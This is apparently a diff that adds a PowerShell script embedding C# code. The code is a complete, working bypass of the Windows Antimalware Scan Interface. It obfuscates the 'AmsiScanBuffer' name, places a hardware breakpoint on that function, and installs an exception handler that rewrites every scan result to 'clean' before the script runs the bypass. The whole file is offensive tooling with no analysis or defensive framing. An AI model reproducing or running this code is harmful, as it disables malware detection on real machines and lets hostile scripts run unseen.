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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
$Hard = @"
|
2 |
+
|
3 |
+
using System;
|
4 |
+
using System.Collections.Generic;
|
5 |
+
using System.Linq.Expressions;
|
6 |
+
using System.Linq;
|
7 |
+
using System.Runtime.CompilerServices;
|
8 |
+
using System.Net;
|
9 |
+
using System.Reflection;
|
10 |
+
using System.Runtime.InteropServices;
|
11 |
+
|
12 |
+
namespace Test
|
13 |
+
{
|
14 |
+
|
15 |
+
public class Program
|
16 |
+
{
|
17 |
+
static string a = "msi";
|
18 |
+
static string b = "anB";
|
19 |
+
static string c = "ff";
|
20 |
+
static IntPtr BaseAddress = WinAPI.LoadLibrary("a" + a + ".dll");
|
21 |
+
static IntPtr pABuF = WinAPI.GetProcAddress(BaseAddress, "A" + a + "Sc" + b + "u" + c + "er");
|
22 |
+
static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
|
23 |
+
|
24 |
+
public static void SetupBypass()
|
25 |
+
{
|
26 |
+
|
27 |
+
WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
|
28 |
+
ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
|
29 |
+
|
30 |
+
MethodInfo method = typeof(Program).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
|
31 |
+
IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
|
32 |
+
|
33 |
+
// Saving our context to a struct
|
34 |
+
Marshal.StructureToPtr(ctx, pCtx, true);
|
35 |
+
bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
|
36 |
+
ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));
|
37 |
+
|
38 |
+
EnableBreakpoint(ctx, pABuF, 0);
|
39 |
+
|
40 |
+
WinAPI.SetThreadContext((IntPtr)(-2), pCtx);
|
41 |
+
|
42 |
+
}
|
43 |
+
|
44 |
+
public static long Handler(IntPtr exceptions)
|
45 |
+
{
|
46 |
+
WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
|
47 |
+
ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
|
48 |
+
|
49 |
+
WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
|
50 |
+
ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
|
51 |
+
|
52 |
+
WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
|
53 |
+
ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));
|
54 |
+
|
55 |
+
if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
|
56 |
+
{
|
57 |
+
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
|
58 |
+
|
59 |
+
// THE OUTPUT AMSIRESULT IS A POINTER, NOT THE EXPLICIT VALUE AAAAAAAAAA
|
60 |
+
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); // 5th arg, swap it to clean
|
61 |
+
//Console.WriteLine("Buffer: 0x{0:X}", (long)ContextRecord.R8);
|
62 |
+
//Console.WriteLine("Scan Result: 0x{0:X}", Marshal.ReadInt32(ScanResult));
|
63 |
+
|
64 |
+
Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);
|
65 |
+
|
66 |
+
ContextRecord.Rip = ReturnAddress;
|
67 |
+
ContextRecord.Rsp += 8;
|
68 |
+
ContextRecord.Rax = 0; // S_OK
|
69 |
+
|
70 |
+
Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
|
71 |
+
return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
|
72 |
+
}
|
73 |
+
else
|
74 |
+
{
|
75 |
+
return WinAPI.EXCEPTION_CONTINUE_SEARCH;
|
76 |
+
}
|
77 |
+
|
78 |
+
}
|
79 |
+
public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
|
80 |
+
{
|
81 |
+
|
82 |
+
switch (index)
|
83 |
+
{
|
84 |
+
case 0:
|
85 |
+
ctx.Dr0 = (ulong)address.ToInt64();
|
86 |
+
break;
|
87 |
+
case 1:
|
88 |
+
ctx.Dr1 = (ulong)address.ToInt64();
|
89 |
+
break;
|
90 |
+
case 2:
|
91 |
+
ctx.Dr2 = (ulong)address.ToInt64();
|
92 |
+
break;
|
93 |
+
case 3:
|
94 |
+
ctx.Dr3 = (ulong)address.ToInt64();
|
95 |
+
break;
|
96 |
+
}
|
97 |
+
|
98 |
+
|
99 |
+
ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
|
100 |
+
|
101 |
+
|
102 |
+
ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
|
103 |
+
ctx.Dr6 = 0;
|
104 |
+
|
105 |
+
// Now copy the changed ctx into the original struct
|
106 |
+
Marshal.StructureToPtr(ctx, pCtx, true);
|
107 |
+
}
|
108 |
+
public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
|
109 |
+
{
|
110 |
+
ulong mask = (1UL << bits) - 1UL;
|
111 |
+
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
|
112 |
+
return dw;
|
113 |
+
}
|
114 |
+
}
|
115 |
+
public class WinAPI
|
116 |
+
{
|
117 |
+
public const UInt32 DBG_CONTINUE = 0x00010002;
|
118 |
+
public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
|
119 |
+
public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
|
120 |
+
public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
|
121 |
+
public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
|
122 |
+
public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
|
123 |
+
public const Int32 EXCEPTION_DEBUG_EVENT = 1;
|
124 |
+
public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
|
125 |
+
public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
|
126 |
+
public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
|
127 |
+
public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
|
128 |
+
public const Int32 RIP_EVENT = 9;
|
129 |
+
public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
|
130 |
+
|
131 |
+
public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
|
132 |
+
public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
|
133 |
+
public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
|
134 |
+
public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
|
135 |
+
public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
|
136 |
+
public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
|
137 |
+
public const UInt32 DBG_CONTROL_C = 0x40010006;
|
138 |
+
public const UInt32 DEBUG_PROCESS = 0x00000001;
|
139 |
+
public const UInt32 CREATE_SUSPENDED = 0x00000004;
|
140 |
+
public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
|
141 |
+
|
142 |
+
public const Int32 AMSI_RESULT_CLEAN = 0;
|
143 |
+
|
144 |
+
[DllImport("kernel32.dll", SetLastError = true)]
|
145 |
+
public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
|
146 |
+
[DllImport("kernel32.dll", SetLastError = true)]
|
147 |
+
public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
|
148 |
+
[DllImport("kernel32.dll", SetLastError = true)]
|
149 |
+
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
150 |
+
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
|
151 |
+
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
|
152 |
+
|
153 |
+
[DllImport("Kernel32.dll")]
|
154 |
+
public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
|
155 |
+
[Flags]
|
156 |
+
public enum CONTEXT64_FLAGS : uint
|
157 |
+
{
|
158 |
+
CONTEXT64_AMD64 = 0x100000,
|
159 |
+
CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
|
160 |
+
CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
|
161 |
+
CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
|
162 |
+
CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
|
163 |
+
CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
|
164 |
+
CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
|
165 |
+
CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
|
166 |
+
}
|
167 |
+
[StructLayout(LayoutKind.Sequential)]
|
168 |
+
public struct M128A
|
169 |
+
{
|
170 |
+
public ulong High;
|
171 |
+
public long Low;
|
172 |
+
|
173 |
+
public override string ToString()
|
174 |
+
{
|
175 |
+
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
|
176 |
+
}
|
177 |
+
}
|
178 |
+
|
179 |
+
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
180 |
+
public struct XSAVE_FORMAT64
|
181 |
+
{
|
182 |
+
public ushort ControlWord;
|
183 |
+
public ushort StatusWord;
|
184 |
+
public byte TagWord;
|
185 |
+
public byte Reserved1;
|
186 |
+
public ushort ErrorOpcode;
|
187 |
+
public uint ErrorOffset;
|
188 |
+
public ushort ErrorSelector;
|
189 |
+
public ushort Reserved2;
|
190 |
+
public uint DataOffset;
|
191 |
+
public ushort DataSelector;
|
192 |
+
public ushort Reserved3;
|
193 |
+
public uint MxCsr;
|
194 |
+
public uint MxCsr_Mask;
|
195 |
+
|
196 |
+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
197 |
+
public M128A[] FloatRegisters;
|
198 |
+
|
199 |
+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
200 |
+
public M128A[] XmmRegisters;
|
201 |
+
|
202 |
+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
|
203 |
+
public byte[] Reserved4;
|
204 |
+
}
|
205 |
+
|
206 |
+
/// <summary>
|
207 |
+
/// x64
|
208 |
+
/// </summary>
|
209 |
+
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
210 |
+
public struct CONTEXT64
|
211 |
+
{
|
212 |
+
public ulong P1Home;
|
213 |
+
public ulong P2Home;
|
214 |
+
public ulong P3Home;
|
215 |
+
public ulong P4Home;
|
216 |
+
public ulong P5Home;
|
217 |
+
public ulong P6Home;
|
218 |
+
|
219 |
+
public CONTEXT64_FLAGS ContextFlags;
|
220 |
+
public uint MxCsr;
|
221 |
+
|
222 |
+
public ushort SegCs;
|
223 |
+
public ushort SegDs;
|
224 |
+
public ushort SegEs;
|
225 |
+
public ushort SegFs;
|
226 |
+
public ushort SegGs;
|
227 |
+
public ushort SegSs;
|
228 |
+
public uint EFlags;
|
229 |
+
|
230 |
+
public ulong Dr0;
|
231 |
+
public ulong Dr1;
|
232 |
+
public ulong Dr2;
|
233 |
+
public ulong Dr3;
|
234 |
+
public ulong Dr6;
|
235 |
+
public ulong Dr7;
|
236 |
+
|
237 |
+
public ulong Rax;
|
238 |
+
public ulong Rcx;
|
239 |
+
public ulong Rdx;
|
240 |
+
public ulong Rbx;
|
241 |
+
public ulong Rsp;
|
242 |
+
public ulong Rbp;
|
243 |
+
public ulong Rsi;
|
244 |
+
public ulong Rdi;
|
245 |
+
public ulong R8;
|
246 |
+
public ulong R9;
|
247 |
+
public ulong R10;
|
248 |
+
public ulong R11;
|
249 |
+
public ulong R12;
|
250 |
+
public ulong R13;
|
251 |
+
public ulong R14;
|
252 |
+
public ulong R15;
|
253 |
+
public ulong Rip;
|
254 |
+
|
255 |
+
public XSAVE_FORMAT64 DUMMYUNIONNAME;
|
256 |
+
|
257 |
+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
|
258 |
+
public M128A[] VectorRegister;
|
259 |
+
public ulong VectorControl;
|
260 |
+
|
261 |
+
public ulong DebugControl;
|
262 |
+
public ulong LastBranchToRip;
|
263 |
+
public ulong LastBranchFromRip;
|
264 |
+
public ulong LastExceptionToRip;
|
265 |
+
public ulong LastExceptionFromRip;
|
266 |
+
}
|
267 |
+
[StructLayout(LayoutKind.Sequential)]
|
268 |
+
public struct EXCEPTION_RECORD
|
269 |
+
{
|
270 |
+
public uint ExceptionCode;
|
271 |
+
public uint ExceptionFlags;
|
272 |
+
public IntPtr ExceptionRecord;
|
273 |
+
public IntPtr ExceptionAddress;
|
274 |
+
public uint NumberParameters;
|
275 |
+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
|
276 |
+
}
|
277 |
+
[StructLayout(LayoutKind.Sequential)]
|
278 |
+
public struct EXCEPTION_POINTERS
|
279 |
+
{
|
280 |
+
public IntPtr pExceptionRecord;
|
281 |
+
public IntPtr pContextRecord;
|
282 |
+
}
|
283 |
+
}
|
284 |
+
}
|
285 |
+
|
286 |
+
|
287 |
+
"@
|
288 |
+
|
289 |
+
Add-Type -TypeDefinition $Hard
|
290 |
+
|
291 |
+
[Test.Program]::SetupBypass()
|